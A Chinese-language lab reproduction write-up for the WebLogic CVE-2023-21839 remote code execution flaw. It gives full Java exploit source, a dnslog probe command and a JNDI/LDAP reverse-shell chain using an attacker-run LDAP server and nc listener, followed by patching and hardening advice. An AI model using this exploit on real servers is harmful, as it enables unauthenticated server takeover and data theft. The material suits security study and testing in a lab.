1 漏洞概述
CVE-2023-21839是一个针对Oracle WebLogic Server的远程代码执行漏洞。WebLogic是美国Oracle公司出品的一个Java应用服务器,用于本地和云端开发、集成、部署和管理大型分布式Web应用、网络应用和数据库应用。该漏洞源于WebLogic IIOP/T3协议存在的缺陷,当IIOP/T3协议开启时,允许未经身份验证的攻击者通过该协议网络访问并攻击存在安全风险的WebLogic Server。一旦漏洞被利用成功,攻击者可以接管WebLogic Server并执行任意命令,可能导致服务器沦陷或严重的敏感数据泄露。
2 漏洞影响范围
受CVE-2023-21839漏洞影响的WebLogic Server版本包括:
-
Weblogic 10.3.6
-
Weblogic 12.1.3
-
Weblogic 12.2.1.3.0
-
Weblogic 12.2.1.4.0
-
Weblogic 14.1.1.0.0
3 vulhub靶场部署
进入漏洞文件cd vulhub/weblogic/CVE-2023-21839 部署漏洞环境 docker compose up -d 查看端口 docker compose ps
访问 ,您将看到页面,表示环境正在成功运行。
4 漏洞复现
4.1 DNSLOG探测
EXP链接:GitHub - DXask88MA/Weblogic-CVE-2023-21839(jar包形式)
源码poc:
import javax.naming.Context; import javax.naming.InitialContext; import javax.naming.NamingException; import java.lang.reflect.Field; import java.util.Hashtable; import java.util.Random; public class CVE_2023_21839 {static String JNDI_FACTORY="weblogic.jndi.WLInitialContextFactory";static String HOW_TO_USE="[*]java -jar 目标ip:端口 ldap地址\ne.g. java -jar 192.168.220.129:7001 ldap://192.168.31.58:1389/Basic/ReverseShell/192.168.220.129/1111"; private static InitialContext getInitialContext(String url)throws NamingException{Hashtable<String,String> env = new Hashtable<String,String>();env.put(Context.INITIAL_CONTEXT_FACTORY, JNDI_FACTORY);env.put(Context.PROVIDER_URL, url);return new InitialContext(env);}public static void main(String args[]) throws Exception {if(args.length <2){System.out.println(HOW_TO_USE);System.exit(0);}String t3Url = args[0];String ldapUrl = args[1];InitialContext c=getInitialContext("t3://"+t3Url);Hashtable<String,String> env = new Hashtable<String,String>();env.put(Context.INITIAL_CONTEXT_FACTORY, "com.sun.jndi.rmi.registry.RegistryContextFactory");weblogic.deployment.jms.ForeignOpaqueReference f=new weblogic.deployment.jms.ForeignOpaqueReference();Field jndiEnvironment=weblogic.deployment.jms.ForeignOpaqueReference.class.getDeclaredField("jndiEnvironment");jndiEnvironment.setAccessible(true);jndiEnvironment.set(f,env);Field remoteJNDIName=weblogic.deployment.jms.ForeignOpaqueReference.class.getDeclaredField("remoteJNDIName");remoteJNDIName.setAccessible(true);remoteJNDIName.set(f,ldapUrl);String bindName = new Random(System.currentTimeMillis()).nextLong()+"";try{c.bind(bindName,f);c.lookup(bindName);}catch(Exception e){ } } }
(1)使用攻击机B 执行exp脚本攻击靶场A, 执行exp需要java 1.8的环境
(2)攻击机执行以下命令后,刷新dnslog即可
java -jar Weblogic-CVE-2023-21839.jar 靶场ip:7001 ldap://5jszbq.dnslog.cn
4.2 反弹shell
(1)首先需要使用JNDIExploit-1.4-SNAPSHOT.jar工具启动ladp服务
下载链接:GitHub - WhiteHSBG/JNDIExploit: 对原版https://github.com/feihong-cs/JNDIExploit 进行了实用化修改
(2)下载后需要在服务器C搭建ldap服务,其实就是启动上边那个jar包
java -jar JNDIExploit-1.4-SNAPSHOT.jar -i 服务器Cip
(3)启动完成后还需进行端口监听,服务器C直接启动nc进行监听
(4)此时使用攻击机B执行exp
java -jar Weblogic-CVE-2023-21839.jar 靶场 IP:7001 p://ldap服务器IP:1389/Basic/ReverseShell/ldap服务器IP/
(5)此时查看ldap服务器C,成功反弹shell
6 漏洞防护
针对CVE-2023-21839漏洞,建议采取以下安全防范措施:
-
尽快自查WebLogic版本,对受影响的版本及时更新到最新版本或应用官方发布的安全补丁。
-
临时阻止外部访问WebLogic Server的T3/T3s协议和禁用IIOP协议,以减少潜在的攻击面。
-
升级JDK版本至推荐版本,以避免因JDK版本过低导致的RCE漏洞。
-
加强网络访问控制,限制对WebLogic Server的访问权限,只允许必要的IP地址或网络段进行访问。
-
定期对系统进行安全审计和漏洞扫描,及时发现并修复潜在的安全隐患。